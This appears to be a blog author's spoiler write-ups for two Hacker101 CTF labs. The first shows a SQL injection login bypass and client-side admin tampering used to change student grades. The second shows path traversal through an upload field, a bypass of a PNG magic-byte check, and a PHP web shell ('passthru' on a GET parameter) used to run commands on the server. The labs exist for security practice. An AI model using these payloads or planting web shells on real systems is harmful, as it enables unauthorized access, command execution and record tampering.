HackerOne CTF OSUSEC (Spoilers)

OSUSEC

School of Pwn

Login

This app launches straight to a login page. A modal pops up, explaining:

"Natasha Drew really wants to go to hacker camp but she doesn't have the grades. Hack into the OSUSEC student portal and give her all A's so she can go!

Could this login be vulnerable to a SQL injection?

' or id=1; --

It sure is:

Logged In As: rhonda.daniels Logout

OSUSEC

Your Students

Students
Name English Science Maths
A A A
B B A
B C C
B C C
B B A
A A A
A A C
C A C
C C B
B B B
C C B
A B A
C A A
B C A
C B C
B A C
A A B
B C A
C A A

The SQL injection for id=1 grants access as "rhonda.daniels". But Natasha Drew is not one of her students. What about the other ids? Iterating over the ids 2, 3, and 4 grants access to the staff accounts for tyron.broughton, janice.fitzpatrick, and tom.harvey. But Natasha isn't a student of any of these teachers either. Fuzzing the IDs from 5-100 with Caido Automate produces nothing but 401 errors, suggesting these four teachers are the only accounts. Does Natasha Drew even go to this school? Well, no matter, just another challenge to overcome, right?

Three things jump out when taking a look at the the source code for one of these pages:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>OSUSEC - Dashboard</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
</head>
<body>
<div class="pull-right" style="padding:10px">
    Logged In As: <strong>rhonda.daniels</strong>
    <a href="logout" style="margin-left:20px" class="btn btn-danger">Logout</a>
</div>
<div class="container" >
    <h1 class="text-center">OSUSEC</h1>
    <h4 class="text-center">Your Students</h4>
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="panel panel-default" style="margin-top:30px">
                <div class="panel-heading">Students</div>
                <div class="panel-body" style="padding:0">
                    <table class="table" style="margin:0;">
                        <tr>
                            <th>Name</th>
                            <th class="text-center">English</th>
                            <th class="text-center">Science</th>
                            <th class="text-center">Maths</th>
                        </tr>
                                                <tr>
                            <td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="RmlubmxheV9DYXJy" class="student-link">Carr, Finnlay</td>
                            <td class="text-center">B</td>
                            <td class="text-center">B</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="Q29kaWVfQ2FzdGlsbG8=" class="student-link">Castillo, Codie</td>
                            <td class="text-center">B</td>
                            <td class="text-center">C</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="SmFyZWRfQ291c2lucw==" class="student-link">Cousins, Jared</td>
                            <td class="text-center">B</td>
                            <td class="text-center">C</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="TWFuYXZfRGlja3Nvbg==" class="student-link">Dickson, Manav</td>
                            <td class="text-center">B</td>
                            <td class="text-center">B</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="SnVuaXBlcl9HYWxsYWdoZXI=" class="student-link">Gallagher, Juniper</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="THVjaWVuX0dhbGxhZ2hlcg==" class="student-link">Gallagher, Lucien</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="U3llZF9HaWJicw==" class="student-link">Gibbs, Syed</td>
                            <td class="text-center">C</td>
                            <td class="text-center">A</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="R2luYV9LYXVmbWFu" class="student-link">Kaufman, Gina</td>
                            <td class="text-center">C</td>
                            <td class="text-center">C</td>
                            <td class="text-center">B</td>
                        </tr>
                                                <tr>
                            <td data-id="TGVvbmFyZG9fUGFya2Vz" class="student-link">Parkes, Leonardo</td>
                            <td class="text-center">B</td>
                            <td class="text-center">B</td>
                            <td class="text-center">B</td>
                        </tr>
                                                <tr>
                            <td data-id="QXJqYW5fUmVldmVz" class="student-link">Reeves, Arjan</td>
                            <td class="text-center">C</td>
                            <td class="text-center">C</td>
                            <td class="text-center">B</td>
                        </tr>
                                                <tr>
                            <td data-id="Q2hlX1JvZHJpZ3Vleg==" class="student-link">Rodriguez, Che</td>
                            <td class="text-center">A</td>
                            <td class="text-center">B</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="U2lyYWpfUm9zYQ==" class="student-link">Rosa, Siraj</td>
                            <td class="text-center">C</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="U29tbWVyX1NjaHJvZWRlcg==" class="student-link">Schroeder, Sommer</td>
                            <td class="text-center">B</td>
                            <td class="text-center">C</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="SGFqcmFoX1RhbGJvdA==" class="student-link">Talbot, Hajrah</td>
                            <td class="text-center">C</td>
                            <td class="text-center">B</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="U2FoYXJhX1doaXRlaG91c2U=" class="student-link">Whitehouse, Sahara</td>
                            <td class="text-center">B</td>
                            <td class="text-center">A</td>
                            <td class="text-center">C</td>
                        </tr>
                                                <tr>
                            <td data-id="SXdhbl9XaGl0d29ydGg=" class="student-link">Whitworth, Iwan</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                            <td class="text-center">B</td>
                        </tr>
                                                <tr>
                            <td data-id="TXlyb25fV2lsa2lucw==" class="student-link">Wilkins, Myron</td>
                            <td class="text-center">B</td>
                            <td class="text-center">C</td>
                            <td class="text-center">A</td>
                        </tr>
                                                <tr>
                            <td data-id="TXlyb25fV2lsa2lucw==" class="student-link">Wilkins, Myron</td>
                            <td class="text-center">C</td>
                            <td class="text-center">A</td>
                            <td class="text-center">A</td>
                        </tr>
                        
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>
<script>
    var staff = {
        admin   :   false,
        name    :   'rhonda.daniels'
    }
</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
<script src="assets/js/app.min.js"></script>
</body>
</html>

First, the page appears to embed whether or not the current user has admin privilege into a javascript object called "staff":

var staff = {
    admin   :   false,
    name    :   'rhonda.daniels'
}

There's an app.min.js file that is easily reformatted to be readable. It appears to rely on this staff.admin attribute to expose some functionality for updating a student's information:

(function(s, objectName) {
    setupLinks = function() {
        if (s.admin) {
            var sl = document.getElementsByClassName("student-link");
            for (i = 0; i < sl.length; i++) {
                let name = sl[i].innerHTML;
                sl[i].style.cursor = 'pointer';
                sl[i].addEventListener("click", function() {
                    window.location = '/update-' + objectName + '/' + this.dataset.id;
                });
            }
        }
    };
    updateForm = function() {
        var submitButton = document.getElementsByClassName("update-record");
        if (submitButton.length === 1) {
            submitButton[0].addEventListener("click", function() {
                var english = document.getElementById("english");
                english = english.options[english.selectedIndex].value;
                var science = document.getElementById("science");
                science = science.options[science.selectedIndex].value;
                var maths = document.getElementById("maths");
                maths = maths.options[maths.selectedIndex].value;
                var grades = new Set(["A", "B", "C", "D", "E", "F"]);
                if (grades.has(english) && grades.has(science) && grades.has(maths)) {
                    document.getElementById('student-form').submit();
                } else {
                    alert('Grades should only be between A - F');
                }
            });
        }
    };
    setupLinks();
    updateForm();
})(staff, 'student');

And finally, each student has a row in the table with a "data-id" attribute:

<tr>
    <td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>
    <td class="text-center">A</td>
    <td class="text-center">A</td>
    <td class="text-center">A</td>
</tr>

This data-id is a base64 encoded string for "Nancie_Brett". Opening up the developer console, it's possible to set:

s = staff;
s.admin = true;
setupLinks();

Now every student name is clickable, bringing up a form:

Logged In As: rhonda.daniels Logout

OSUSEC

Brett, Nancie

Student
English
Science
Maths

Cleary there was no server side validation of the user's admin status. Submitting this form updates the student's grades using a POST request to /update-student/{data-id}:

POST /update-student/TmFuY2llX0JyZXR0 HTTP/1.1
Host: *..ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: https://*..ctf.hacker101.com
Connection: keep-alive
Referer: https://*..ctf.hacker101.com/update-student/TmFuY2llX0JyZXR0
Cookie: token=Yzc0Njk0OWZlM2YxYjcwYzA1Nzk0YjUyMjMzNzEzMjhmNmNhYzM3MTQ1NmRkOWZjZTRhYTgwNjNiZDRhZGYyMDJkYWM1NjdlYzIwZWYzNTllYjI4MGE2OTM4N2FjNzZjZGFjM2UwMWE2ZWYwODA1YzQzMTQyNThkMDZmY2Y1NTY%3D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

student_hash=706c7742c6afc1423491358896abe90a&grade_english=F&grade_science=F&grade_maths=F

The base64 encoded value for "Natasha_Drew" is "TmF0YXNoYV9EcmV3", and navigating to /update-student/TmF0YXNoYV9EcmV3 pulls up Natasha's grades to be updated. Changing them all to A and submitting the form produces the flag for this level:

Logged In As: rhonda.daniels Logout

OSUSEC

Drew, Natasha

Awesome! Natasha has got top marks and can now attend Hacker Camp!!!!

^FLAG^**********$FLAG$

Student
English
Science
Maths

Hope you enjoy Hacker Camp, Natasha!

HackerOne CTF TempImage (Spoilers)

The landing page is sparse. It indicates the product is unregistered, and has a single link to an upload page:

TempImage

UNREGISTERED

Upload image

The upload page is just one basic form element allowing the user to select and local file and submit it with the "Upload" button:

Upload

The HTML source of the upload page shows they're using PHP on the server, and a little bit of jquery on the client side to set the value of a hidden div. That's interesting:

<!doctype html>
<html>
	<head>
		<title>TempImage &mdash; Trial</title>
		<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>
	</head>
	<body>
		<h1>Upload</h1>
		<form action="doUpload.php" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" id="file">
			<input type="hidden" name="filename" id="filename">
			<input type="submit" value="Upload">
		</form>
		<script>
			$(document).ready(function() {
				$('#file').change(function(e) {
					$('#filename').val(e.target.files[0].name)
				})
			})
		</script>
	</body>
</html>

After uploading a PNG image, the file is available at the URL https://*.ctf.hacker101.com/files/364be8860e8d72b4358b5e88099a935a_test.png, with the string "364be8860e8d72b4358b5e88099a935a_" prepended to the filename. The hidden field for the filename is interesting. I wonder if there's a way to exploit this? What about a path traversal against the hidden #filename form field attribute name? With Caido it's super easy to replay the requests with changes to the POST data:

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------10206805192242284186201372139
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="file"; filename="test.png"
Content-Type: image/png

‰PNG


IHDRĉ
IDAT[cø¿”á?珞?oIEND®B`‚
-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="filename"

/../test.png
-----------------------------10206805192242284186201372139--

Hello flag!


^FLAG^****************************************************************$FLAG$

What about uploading different file types? Uploading an SVG yields the following error:

ERROR: Only PNG format supported in trial.

This clearly suggests that other file formats are supported, they're just gated off in the free tier version. This is a CTF, surely there's a way to bypass this. Trying to upload "test.svg.png" produces the same error, indicating it's more than a simple extension match on the filename. The POST request also has the content type set as image/png, so it's not that either:

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------12058328252254039435749231946
Content-Length: 1466
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------12058328252254039435749231946
Content-Disposition: form-data; name="file"; filename="test.svg.png"
Content-Type: image/png

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="800" height="800" baseProfile="full" viewBox="-21 -21 42 42">
  <defs>
    <radialGradient id="b" cx=".2" cy=".2" r=".5" fx=".2" fy=".2">
      <stop offset="0" stop-color="#fff" stop-opacity=".7"/>
      <stop offset="1" stop-color="#fff" stop-opacity="0"/>
    </radialGradient>
    <radialGradient id="a" cx=".5" cy=".5" r=".5">
      <stop offset="0" stop-color="#ff0"/>
      <stop offset=".75" stop-color="#ff0"/>
      <stop offset=".95" stop-color="#ee0"/>
      <stop offset="1" stop-color="#e8e800"/>
    </radialGradient>
  </defs>
  <circle r="20" fill="url(#a)" stroke="#000" stroke-width=".15"/>
  <circle r="20" fill="url(#b)"/>
  <g id="c">
    <ellipse cx="-6" cy="-7" rx="2.5" ry="4"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-width=".5" d="M10.6 2.7a4 4 0 0 0 4 3"/>
  </g>
  <use xlink:href="#c" transform="scale(-1 1)"/>
  <path fill="none" stroke="#000" stroke-width=".75" d="M-12 5a13.5 13.5 0 0 0 24 0 13 13 0 0 1-24 0"/>
</svg>
-----------------------------12058328252254039435749231946
Content-Disposition: form-data; name="filename"

test.svg.png
-----------------------------12058328252254039435749231946--

The doUpload.php script must be processing the image in some way to validate that it's a PNG. Could it be using exif_imagetype() and simply checking the first eight bytes of the uploaded data for the PNG file signature?

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------10206805192242284186201372139
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="file"; filename="hack.php"
Content-Type: text/plain

‰PNG

<?php passthru($_GET["cmd"]); ?>
-----------------------------10206805192242284186201372139
Content-Disposition: form-data; name="filename"

hack.php
-----------------------------10206805192242284186201372139--

This succeeds without an error. It's definitely only checking for the PNG bytes at the beginning, but the payload isn't being parsed by php. What next? Maybe I need to chain this on the end of the previous path traversal bug to get the php script up a few folders with the rest of the php scripts?

POST /doUpload.php HTTP/1.1
Host: *.ctf.hacker101.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: multipart/form-data; boundary=---------------------------17527935754026445454806324001
Content-Length: 408
Origin: https://*.ctf.hacker101.com
Connection: keep-alive
Referer: https://*.ctf.hacker101.com/upload.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

-----------------------------17527935754026445454806324001
Content-Disposition: form-data; name="file"; filename="/../../hack.php"
Content-Type: image/png

‰PNG


IHDRĉ
IDAT[cø
<?php passthru($_GET["cmd"]); ?>
oIEND®B`‚
-----------------------------17527935754026445454806324001
Content-Disposition: form-data; name="filename"

/../../hack.php
-----------------------------17527935754026445454806324001--

Returning:

HTTP/1.1 302 Found
Date: Sun, 11 Aug 2024 14:51:48 GMT
Content-Type: text/html
Content-Length: 80
Connection: keep-alive
Server: openresty/1.25.3.2
X-Powered-By: PHP/5.5.9-1ubuntu4.29
Location: files/0b3bc0ac9ec906180f6d1a5da1da2d7d_/../../hack.php

<br>^FLAG^****************************************************************$FLAG$

Navigating to https://*.ctf.hacker101.com/hack.php?cmd=echo "hacked!" proves the remote command injection is working:

‰PNG  IHDRĉ IDAT[cø hacked! oIEND®B`‚

Now it's time to go exploring. https://*.ctf.hacker101.com/hack.php?cmd=ls /app

‰PNG


IHDRĉ
IDAT[cø
000-default.conf
Dockerfile
doUpload.php
files
hack.php
index.php
php.ini
setup.sh
upload.php
oIEND®B`‚

I'll start my search for this flag in the index.php file, since that's where it was for Cody's blog. https://*.ctf.hacker101.com/hack.php?cmd=cat /app/index.php:

‰PNG


IHDRĉ
IDAT[cø
<?php /* ^FLAG^****************************************************************$FLAG$ */ ?>
<!doctype html>
<html>
	<head>
		<title>TempImage &mdash; Trial</title>
	</head>
	<body>
		<h1>TempImage</h1>
		<p><b>UNREGISTERED</b></p>
		<p><a href="upload.php">Upload image</a></p>
	</body>
</html>oIEND®B`‚

There it is, hiding in a comment once again!